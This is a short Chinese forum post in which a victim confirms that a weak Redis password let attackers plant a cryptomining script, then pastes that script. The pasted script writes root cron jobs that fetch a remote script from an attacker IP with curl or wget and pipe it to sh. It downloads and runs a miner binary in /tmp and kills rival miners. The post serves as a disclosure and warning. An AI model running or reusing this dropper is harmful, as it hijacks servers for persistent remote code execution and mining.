谢谢两位大佬,确实是个挖矿脚本,被设置了定时任务,经验不足。
应该是redis密码太弱,被扫到了,希望大家设置redis不要使用简单密码,执行脚本我下下来了
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ! -f "/tmp/ddgs.3011" ]; then
curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
供参考
另外发现在reids被利用之后,有一个ip每几分钟就会尝试登录服务器,持续到现在